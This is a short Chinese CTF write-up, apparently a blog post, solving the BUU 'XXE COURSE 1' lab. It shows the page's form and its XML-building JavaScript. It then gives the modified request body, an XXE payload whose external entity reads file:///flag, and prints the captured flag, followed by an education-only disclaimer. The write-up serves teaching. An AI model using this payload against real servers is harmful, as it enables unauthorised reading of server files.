BUU XXE COURSE 1
1
上课用的~
解法
查看网页源代码。表单通过 XMLFunction() 函数提交。
<fieldset>
<p>
<label for="username"></label>
<input id="username" name="username" type="text" class="text"
value="" />
</p>
<p>
<label for="password"></label>
<input id="password" name="password" type="text" class="text"
value="" />
</p>
<p>
<button id="go"
onclick="XMLFunction()">GO!</button>
</p>
</fieldset>
发现一段 JavaScript。
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
' <username>' + $('#username').val() + '</username>' +
' <password>' + $('#password').val() + '</password>' +
' </root>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
alert(xmlhttp.responseText);
}
}
xmlhttp.open("POST","login.php",true);
xmlhttp.send(xml);
};
随便输入一些数据。
提交表单。
JavaScript 控制台有输出。
用 Burp 抓包。发现是一个 POST 请求。
修改请求体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root> <username>
&xxe;
</username>
<password>1234</password> </root>
发送请求,取得 flag。
Flag
flag{e00e0e46-91e2-46a5-a751-9d3ea71a9adb}
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。